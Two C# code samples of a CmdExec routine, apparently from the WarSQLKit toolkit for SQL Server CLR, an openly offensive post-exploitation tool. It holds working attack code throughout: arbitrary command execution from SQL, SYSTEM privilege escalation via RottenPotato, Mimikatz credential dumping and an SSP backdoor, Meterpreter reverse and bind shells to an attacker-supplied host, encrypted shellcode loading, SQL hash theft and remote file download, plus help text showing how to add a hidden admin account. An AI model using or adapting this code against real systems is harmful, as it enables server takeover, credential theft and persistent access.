예제 #1
0
    public static void CmdExec(string cmd)
    {
        SqlContext.Pipe.Send("Command is running, please wait.");
        if (!cmd.Contains("sp_") && !cmd.Contains("/RunSystemPriv") && !cmd.Contains("/RunSystemPS"))
        {
            SqlContext.Pipe.Send(RunCommand("cmd.exe", " /c " + cmd));
        }
        if (cmd.Contains("/RunSystemPS"))
        {
            try
            {
                if (!File.Exists("C:\\ProgramData\\Kumpir.exe"))
                {
                    SqlContext.Pipe.Send("Creating Kumpir File");
                    var createKumpir = new CreateKumpir();
                    createKumpir.KumpirBytes();
                }
                var newCmd        = cmd.Replace("/RunSystemPS", "");
                var newCmdReplace = newCmd.Remove(newCmd.Length - 1);
                SqlContext.Pipe.Send("Running PowerShell command with \"NT AUTHORITY\\SYSTEM\" rights");
                RunSystemPS("cmd.exe", " /c C:\\ProgramData\\Kumpir.exe " + "\"" + newCmdReplace + "\"");
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
                throw;
            }
            finally
            {
                File.Delete("C:\\ProgramData\\Kumpir.exe");
            }
        }
        if (cmd.Contains("/RunSystemPriv"))
        {
            try
            {
                if (!File.Exists("C:\\ProgramData\\Kumpir.exe"))
                {
                    SqlContext.Pipe.Send("Creating Kumpir File");
                    var createKumpir = new CreateKumpir();
                    createKumpir.KumpirBytes();
                    SqlContext.Pipe.Send("Dosya Oluþturuldu");
                }
                var newCmd        = cmd.Replace("/RunSystemPriv", "");
                var newCmdReplace = newCmd.Remove(newCmd.Length - 1);
                SqlContext.Pipe.Send("Running command with \"NT AUTHORITY\\SYSTEM\" rights");
                RunSystemPriv("cmd.exe", " /c C:\\ProgramData\\Kumpir.exe " + newCmdReplace);
            }
            catch (Exception e)
            {
                SqlContext.Pipe.Send("Task hataya " + e.Message);
            }
            finally
            {
                File.Delete("C:\\ProgramData\\Kumpir.exe");
            }
        }
        if (cmd == "sp_Mimikatz")
        {
            if (!File.Exists("C:\\ProgramData\\Kumpir.exe"))
            {
                SqlContext.Pipe.Send("Creating Kumpir File");
                var createKumpir = new CreateKumpir();
                createKumpir.KumpirBytes();
            }
            try
            {
                var mimiBuilder = new MeterpreterBuilder();
                mimiBuilder.SaveMimikatz();
                var getMimikatzLocation = @"C:\ProgramData\MimiPs.exe";
                SqlContext.Pipe.Send("Running PowerShell command with \"NT AUTHORITY\\SYSTEM\" rights");
                RunCommand("cmd.exe",
                           " /c C:\\ProgramData\\Kumpir.exe \"" + getMimikatzLocation + "\"");
                GetMimiLog();
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
                throw;
            }
            finally
            {
                File.Delete("C:\\ProgramData\\Kumpir.exe");
                File.Delete("C:\\ProgramData\\MimiPs.exe");
            }
        }
        if (cmd.Contains("sp_meterpreter_reverse_tcp"))
        {
            if (cmd.Contains("GetSystem"))
            {
                try
                {
                    string[] cmdSplit     = cmd.Split(' ');
                    var      createKumpir = new CreateKumpir();
                    createKumpir.KumpirBytes();
                    var buildMeterpreter = new MeterpreterBuilder
                    {
                        Ip              = cmdSplit[1],
                        Port            = cmdSplit[2],
                        IsRunSystemPriv = true
                    };
                    buildMeterpreter.SaveReverseMeterpreter();
                }
                catch (Exception e)
                {
                    SqlContext.Pipe.Send(e.Message);
                }
            }
            else
            {
                try
                {
                    string[] cmdSplit         = cmd.Split(' ');
                    var      buildMeterpreter = new MeterpreterBuilder
                    {
                        Ip   = cmdSplit[1],
                        Port = cmdSplit[2]
                    };
                    buildMeterpreter.SaveReverseMeterpreter();
                }
                catch (Exception e)
                {
                    SqlContext.Pipe.Send(e.Message);
                }
            }
        }
        if (cmd.Contains("sp_x64_meterpreter_reverse_tcp"))
        {
            if (cmd.Contains("GetSystem"))
            {
                try
                {
                    string[] cmdSplit     = cmd.Split(' ');
                    var      createKumpir = new CreateKumpir();
                    createKumpir.KumpirBytes();
                    var buildMeterpreter = new MeterpreterBuilder
                    {
                        Ip              = cmdSplit[1],
                        Port            = cmdSplit[2],
                        IsRunSystemPriv = true
                    };
                    buildMeterpreter.Savex64ReverseMeterpreter();
                }
                catch (Exception e)
                {
                    SqlContext.Pipe.Send(e.Message);
                }
            }
            else
            {
                try
                {
                    string[] cmdSplit         = cmd.Split(' ');
                    var      buildMeterpreter = new MeterpreterBuilder
                    {
                        Ip   = cmdSplit[1],
                        Port = cmdSplit[2]
                    };
                    buildMeterpreter.Savex64ReverseMeterpreter();
                }
                catch (Exception e)
                {
                    SqlContext.Pipe.Send(e.Message);
                }
            }
        }
        if (cmd.Contains("sp_meterpreter_reverse_rc4"))
        {
            if (cmd.Contains("GetSystem"))
            {
                try
                {
                    string[] cmdSplit = cmd.Split(' ');

                    var createKumpir = new CreateKumpir();
                    createKumpir.KumpirBytes();
                    var buildMeterpreter = new MeterpreterBuilder
                    {
                        Ip              = cmdSplit[1],
                        Port            = cmdSplit[2],
                        IsRunSystemPriv = true
                    };
                    buildMeterpreter.SaveMeterpreterRc4();
                }
                catch (Exception e)
                {
                    SqlContext.Pipe.Send(e.Message);
                }
            }
            else
            {
                try
                {
                    string[] cmdSplit         = cmd.Split(' ');
                    var      buildMeterpreter = new MeterpreterBuilder
                    {
                        Ip   = cmdSplit[1],
                        Port = cmdSplit[2]
                    };
                    buildMeterpreter.SaveMeterpreterRc4();
                }
                catch (Exception e)
                {
                    SqlContext.Pipe.Send(e.Message);
                }
            }
        }
        if (cmd.Contains("sp_meterpreter_bind_tcp"))
        {
            try
            {
                string[] cmdSplit     = cmd.Split(' ');
                var      createKumpir = new CreateKumpir();
                createKumpir.KumpirBytes();
                if (cmd.Contains("GetSystem"))
                {
                    var buildMeterpreter = new MeterpreterBuilder
                    {
                        Port            = cmdSplit[1],
                        IsRunSystemPriv = true
                    };
                    buildMeterpreter.SaveBindMeterpreter();
                }
                else
                {
                    var buildMeterpreter = new MeterpreterBuilder {
                        Port = cmdSplit[1]
                    };
                    buildMeterpreter.SaveBindMeterpreter();
                }
            }
            catch (Exception e)
            {
                SqlContext.Pipe.Send(e.Message);
            }
        }
        if (cmd == "sp_getSqlHash")
        {
            GetSqlHash();
        }
        if (cmd == "sp_getProduct")
        {
            GetProduct();
        }
        if (cmd == "sp_getDatabases")
        {
            GetDatabases();
        }
        if (cmd.Contains("sp_downloadFile"))
        {
            var spliter      = cmd.Split(' ');
            var downloadFile = new FileDownloader(spliter[1], spliter[2]);
            downloadFile.StartDownload(Int32.Parse(spliter[3]));
            RunCommand("cmd.exe", " /c dir " + spliter[2]);
        }
        if (cmd == "sp_help")
        {
            SqlContext.Pipe.Send("WarSQLKit Command Example");
            SqlContext.Pipe.Send("EXEC sp_cmdExec 'whoami'; => Any Windows command");
            SqlContext.Pipe.Send("EXEC sp_cmdExec 'whoami /RunSystemPriv'; => Any Windows command with NT AUTHORITY\\SYSTEM rights");
            SqlContext.Pipe.Send("EXEC sp_cmdExec '\"net user eyup P@ssw0rd1 /add\" /RunSystemPriv'; => Adding users with RottenPotato (Kumpir)");
            SqlContext.Pipe.Send("EXEC sp_cmdExec '\"net localgroup administrators eyup /add\" /RunSystemPriv'; => Adding user to localgroup with RottenPotato (Kumpir)");
            SqlContext.Pipe.Send("EXEC sp_cmdExec 'powershell Get-ChildItem /RunSystemPS'; => (Powershell) with RottenPotato (Kumpir)");
            SqlContext.Pipe.Send("EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem'; => x86 Meterpreter Reverse Connection with  NT AUTHORITY\\SYSTEM");
            SqlContext.Pipe.Send("EXEC sp_cmdExec 'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem'; => x64 Meterpreter Reverse Connection with  NT AUTHORITY\\SYSTEM");
            SqlContext.Pipe.Send("EXEC sp_cmdExec 'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem'; => x86 Meterpreter Reverse Connection RC4 with  NT AUTHORITY\\SYSTEM, RC4PASSWORD=warsql");
            SqlContext.Pipe.Send("EXEC sp_cmdExec 'sp_meterpreter_bind_tcp LPORT GetSystem'; => x86 Meterpreter Bind Connection with  NT AUTHORITY\\SYSTEM");
            SqlContext.Pipe.Send("EXEC sp_cmdExec 'sp_Mimikatz'; " + Environment.NewLine + "select * from WarSQLKitTemp => Get Mimikatz Log. Thnks Benjamin Delpy :)");
            SqlContext.Pipe.Send("EXEC sp_cmdExec 'sp_downloadFile http://eyupcelik.com.tr/file.exe C:\\ProgramData\\file.exe 300';  => Download File");
            SqlContext.Pipe.Send("EXEC sp_cmdExec 'sp_getSqlHash';  => Get MSSQL Hash");
            SqlContext.Pipe.Send("EXEC sp_cmdExec 'sp_getProduct';  => Get Windows Product");
            SqlContext.Pipe.Send("EXEC sp_cmdExec 'sp_getDatabases';  => Get Available Database");
        }
    }
예제 #2
0
    public static void CmdExec(String cmd, out SqlString result)
    {
        SqlContext.Pipe.Send("Command is running, please wait.");
        SqlParameter param = new SqlParameter("@result", SqlDbType.NText, -1);

        result = "";

        if (!cmd.Contains("sp_") && !cmd.Contains("/RunSystemPriv") && !cmd.Contains("/RunSystemPS"))
        {
            result = RunCommand("cmd.exe", " /c " + cmd);
            if (result.ToString().Length < 4000)
            {
                SqlContext.Pipe.Send(result.ToString());
            }
        }
        if (cmd.Contains("/RunSystemPS"))
        {
            try
            {
                if (!File.Exists("C:\\ProgramData\\Kumpir.exe"))
                {
                    SqlContext.Pipe.Send("Creating Kumpir File");
                    var createKumpir = new CreateKumpir();
                    createKumpir.KumpirBytes();
                }
                var newCmd        = cmd.Replace("/RunSystemPS", "");
                var newCmdReplace = newCmd.Remove(newCmd.Length - 1);
                SqlContext.Pipe.Send("Running PowerShell command with \"NT AUTHORITY\\SYSTEM\" rights");
                result = RunSystemPS("cmd.exe", " /c C:\\ProgramData\\Kumpir.exe " + "\"" + newCmdReplace + "\"");
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
                throw;
            }
            finally
            {
                File.Delete("C:\\ProgramData\\Kumpir.exe");
            }
        }
        if (cmd.Contains("/RunSystemPriv"))
        {
            try
            {
                if (!File.Exists("C:\\ProgramData\\Kumpir.exe"))
                {
                    SqlContext.Pipe.Send("Creating Kumpir File");
                    var createKumpir = new CreateKumpir();
                    createKumpir.KumpirBytes();
                }
                var newCmd        = cmd.Replace("/RunSystemPriv", "");
                var newCmdReplace = newCmd.Remove(newCmd.Length - 1);
                SqlContext.Pipe.Send("Running command with \"NT AUTHORITY\\SYSTEM\" rights");
                result = RunSystemPriv("cmd.exe", " /c C:\\ProgramData\\Kumpir.exe " + newCmdReplace);
            }
            catch (Exception e)
            {
                SqlContext.Pipe.Send("Task hataya " + e.Message);
            }
            finally
            {
                File.Delete("C:\\ProgramData\\Kumpir.exe");
            }
        }
        if (cmd == "sp_Mimikatz")
        {
            if (!File.Exists("C:\\ProgramData\\Kumpir.exe"))
            {
                SqlContext.Pipe.Send("Creating Kumpir File");
                var createKumpir = new CreateKumpir();
                createKumpir.KumpirBytes();
            }
            try
            {
                var mimiBuilder = new MeterpreterBuilder();
                mimiBuilder.SaveMimikatz();
                var getMimikatzLocation = @"C:\ProgramData\MimiPs.exe";
                SqlContext.Pipe.Send("Running PowerShell command with \"NT AUTHORITY\\SYSTEM\" rights");
                result = RunCommand("cmd.exe",
                                    " /c C:\\ProgramData\\Kumpir.exe \"" + getMimikatzLocation + "\"");
                result = GetMimiLog();
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
                throw;
            }
            finally
            {
                File.Delete("C:\\ProgramData\\Kumpir.exe");
                File.Delete("C:\\ProgramData\\MimiPs.exe");
            }
        }
        if (cmd == "sp_MimikatzSSP")
        {
            if (!File.Exists("C:\\ProgramData\\Kumpir.exe"))
            {
                SqlContext.Pipe.Send("Creating Kumpir File");
                var createKumpir = new CreateKumpir();
                createKumpir.KumpirBytes();
            }
            try
            {
                var mimiBuilder = new MeterpreterBuilder();
                mimiBuilder.SaveMimikatzSsp();
                var getMimikatzLocation = @"C:\ProgramData\MimiSSP.exe";
                SqlContext.Pipe.Send("Running PowerShell command with \"NT AUTHORITY\\SYSTEM\" rights");
                result = RunCommand("cmd.exe",
                                    " /c C:\\ProgramData\\Kumpir.exe \"" + getMimikatzLocation + "\"");
                result = GetMimiLog();
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
                throw;
            }
            finally
            {
                File.Delete("C:\\ProgramData\\Kumpir.exe");
                File.Delete("C:\\ProgramData\\MimiSSP.exe");
            }
        }
        if (cmd.Contains("sp_ShellCode"))
        {
            string[] cmdSplit = cmd.Split(' ');
            string   ScByte   = cmdSplit[1];
            string   Key      = cmdSplit[2];
            if (!File.Exists("C:\\ProgramData\\loader.exe"))
            {
                SqlContext.Pipe.Send("Creating loader File");
                var createKumpir = new CreateKumpir();
                createKumpir.LoaderBytes();
            }
            if (cmd.Contains("GetSystem"))
            {
                try
                {
                    var createKumpir = new CreateKumpir();
                    createKumpir.KumpirBytes();
                    RunCommand(@"C:\Windows\System32\cmd.exe", @" /c C:\\ProgramData\\Kumpir.exe ""C:\ProgramData\loader " + ScByte + @" " + Key + @" """);
                }
                catch (Exception e)
                {
                    SqlContext.Pipe.Send(e.Message);
                }
            }
            else
            {
                try
                {
                    RunCommand(@"C:\Windows\System32\cmd.exe", @" /c C:\ProgramData\loader " + ScByte + @" " + Key + @" """);
                }
                catch (Exception e)
                {
                    SqlContext.Pipe.Send(e.Message);
                }
            }
        }
        if (cmd.Contains("sp_meterpreter_reverse_tcp"))
        {
            if (cmd.Contains("GetSystem"))
            {
                try
                {
                    string[] cmdSplit     = cmd.Split(' ');
                    var      createKumpir = new CreateKumpir();
                    createKumpir.KumpirBytes();
                    var buildMeterpreter = new MeterpreterBuilder
                    {
                        Ip              = cmdSplit[1],
                        Port            = cmdSplit[2],
                        IsRunSystemPriv = true
                    };
                    buildMeterpreter.SaveReverseMeterpreter();
                }
                catch (Exception e)
                {
                    SqlContext.Pipe.Send(e.Message);
                }
            }
            else
            {
                try
                {
                    string[] cmdSplit         = cmd.Split(' ');
                    var      buildMeterpreter = new MeterpreterBuilder
                    {
                        Ip   = cmdSplit[1],
                        Port = cmdSplit[2]
                    };
                    buildMeterpreter.SaveReverseMeterpreter();
                }
                catch (Exception e)
                {
                    SqlContext.Pipe.Send(e.Message);
                }
            }
        }
        if (cmd.Contains("sp_x64_meterpreter_reverse_tcp"))
        {
            if (cmd.Contains("GetSystem"))
            {
                try
                {
                    string[] cmdSplit     = cmd.Split(' ');
                    var      createKumpir = new CreateKumpir();
                    createKumpir.KumpirBytes();
                    var buildMeterpreter = new MeterpreterBuilder
                    {
                        Ip              = cmdSplit[1],
                        Port            = cmdSplit[2],
                        IsRunSystemPriv = true
                    };
                    buildMeterpreter.Savex64ReverseMeterpreter();
                }
                catch (Exception e)
                {
                    SqlContext.Pipe.Send(e.Message);
                }
            }
            else
            {
                try
                {
                    string[] cmdSplit         = cmd.Split(' ');
                    var      buildMeterpreter = new MeterpreterBuilder
                    {
                        Ip   = cmdSplit[1],
                        Port = cmdSplit[2]
                    };
                    buildMeterpreter.Savex64ReverseMeterpreter();
                }
                catch (Exception e)
                {
                    SqlContext.Pipe.Send(e.Message);
                }
            }
        }
        if (cmd.Contains("sp_meterpreter_reverse_rc4"))
        {
            if (cmd.Contains("GetSystem"))
            {
                try
                {
                    string[] cmdSplit = cmd.Split(' ');

                    var createKumpir = new CreateKumpir();
                    createKumpir.KumpirBytes();
                    var buildMeterpreter = new MeterpreterBuilder
                    {
                        Ip              = cmdSplit[1],
                        Port            = cmdSplit[2],
                        IsRunSystemPriv = true
                    };
                    buildMeterpreter.SaveMeterpreterRc4();
                }
                catch (Exception e)
                {
                    SqlContext.Pipe.Send(e.Message);
                }
            }
            else
            {
                try
                {
                    string[] cmdSplit         = cmd.Split(' ');
                    var      buildMeterpreter = new MeterpreterBuilder
                    {
                        Ip   = cmdSplit[1],
                        Port = cmdSplit[2]
                    };
                    buildMeterpreter.SaveMeterpreterRc4();
                }
                catch (Exception e)
                {
                    SqlContext.Pipe.Send(e.Message);
                }
            }
        }
        if (cmd.Contains("sp_meterpreter_bind_tcp"))
        {
            try
            {
                string[] cmdSplit     = cmd.Split(' ');
                var      createKumpir = new CreateKumpir();
                createKumpir.KumpirBytes();
                if (cmd.Contains("GetSystem"))
                {
                    var buildMeterpreter = new MeterpreterBuilder
                    {
                        Port            = cmdSplit[1],
                        IsRunSystemPriv = true
                    };
                    buildMeterpreter.SaveBindMeterpreter();
                }
                else
                {
                    var buildMeterpreter = new MeterpreterBuilder {
                        Port = cmdSplit[1]
                    };
                    buildMeterpreter.SaveBindMeterpreter();
                }
            }
            catch (Exception e)
            {
                SqlContext.Pipe.Send(e.Message);
            }
        }
        if (cmd == "sp_getSqlHash")
        {
            result = GetSqlHash();
        }
        if (cmd == "sp_getProduct")
        {
            result = GetProduct();
        }
        if (cmd == "sp_getDatabases")
        {
            result = GetDatabases();
        }
        if (cmd.Contains("sp_downloadFile"))
        {
            var spliter      = cmd.Split(' ');
            var downloadFile = new FileDownloader(spliter[1], spliter[2]);
            downloadFile.StartDownload(Int32.Parse(spliter[3]));
            result = RunCommand("cmd.exe", " /c dir " + spliter[2]);
        }
        if (cmd == "sp_help")
        {
            result = "WarSQLKit Command Example\n"
                     + "whoami => Any Windows command\n"
                     + "whoami /RunSystemPriv => Any Windows command with NT AUTHORITY\\SYSTEM rights\n"
                     + "\"net user eyup P@ssw0rd1 /add\" /RunSystemPriv => Adding users with RottenPotato (Kumpir)\n"
                     + "\"net localgroup administrators eyup /add\" /RunSystemPriv => Adding user to localgroup with RottenPotato (Kumpir)\n"
                     + "powershell Get-ChildItem /RunSystemPS => (Powershell) with RottenPotato (Kumpir)\n"
                     + "sp_meterpreter_reverse_tcp LHOST LPORT GetSystem => x86 Meterpreter Reverse Connection with  NT AUTHORITY\\SYSTEM\n"
                     + "sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem => x64 Meterpreter Reverse Connection with  NT AUTHORITY\\SYSTEM\n"
                     + "sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem => x86 Meterpreter Reverse Connection RC4 with  NT AUTHORITY\\SYSTEM, RC4PASSWORD=warsql\n"
                     + "sp_meterpreter_bind_tcp LPORT GetSystem => x86 Meterpreter Bind Connection with  NT AUTHORITY\\SYSTEM\n"
                     + "sp_Mimikatz" + Environment.NewLine + "select * from WarSQLKitTemp => Get Mimikatz Log. Thnks Benjamin Delpy :)\n"
                     + "sp_MimikatzSSP  => Ssp Backdoor\n"
                     + "sp_downloadFile http://eyupcelik.com.tr/file.exe C:\\ProgramData\\file.exe 300  => Download File\n"
                     + "sp_getSqlHash  => Get MSSQL Hash\n"
                     + "sp_getProduct  => Get Windows Product\n"
                     + "sp_getDatabases  => Get Available Database\n"
                     + "sp_frpsocks5  => Todo: Use Frpc to open socks5\n"
                     + "sp_ShellCode encrypt_code key GetSystem => Run Shellcode with Encrypt CobaltStrike or Metasploit with SYSTEM\n";
        }
    }